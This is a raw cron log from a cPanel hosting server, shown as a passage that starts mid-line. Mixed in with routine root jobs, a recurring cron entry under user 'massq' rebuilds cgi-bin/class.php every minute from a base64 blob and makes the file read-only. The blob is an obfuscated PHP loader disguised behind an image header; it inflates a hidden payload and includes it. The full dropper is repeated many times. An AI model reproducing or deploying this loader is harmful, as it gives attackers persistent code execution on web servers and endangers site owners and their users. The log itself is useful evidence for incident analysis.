arN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:12:01 server CROND[2631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:12:01 server CROND[2632]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 22:12:01 server CROND[2633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:12:01 server CROND[2634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:13:01 server CROND[3025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:13:01 server CROND[3026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:13:01 server CROND[3027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:14:01 server CROND[3397]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:14:01 server CROND[3398]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:14:01 server CROND[3399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:15:01 server CROND[3869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:15:01 server CROND[3873]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:15:01 server CROND[3883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:15:01 server CROND[3882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:15:01 server CROND[3888]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:15:01 server CROND[3892]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  1 22:15:01 server CROND[3887]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:15:01 server CROND[3889]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:15:01 server CROND[3890]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 22:16:01 server CROND[4785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:16:01 server CROND[4786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:16:01 server CROND[4787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:17:01 server CROND[5214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:17:01 server CROND[5213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:17:01 server CROND[5215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:18:01 server CROND[5596]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:18:01 server CROND[5597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:18:01 server CROND[5598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:19:01 server CROND[5966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:19:01 server CROND[5967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:19:01 server CROND[5968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:20:01 server CROND[6443]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:20:01 server CROND[6444]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:20:01 server CROND[6448]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:20:01 server CROND[6449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:20:01 server CROND[6453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:20:01 server CROND[6456]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 22:20:01 server CROND[6454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:20:01 server CROND[6457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:20:01 server CROND[6458]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:21:01 server CROND[7264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:21:01 server CROND[7265]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:21:01 server CROND[7266]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:22:01 server CROND[7635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:22:01 server CROND[7636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:22:01 server CROND[7637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:23:01 server CROND[8019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:23:01 server CROND[8020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:23:01 server CROND[8021]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:24:01 server CROND[8401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
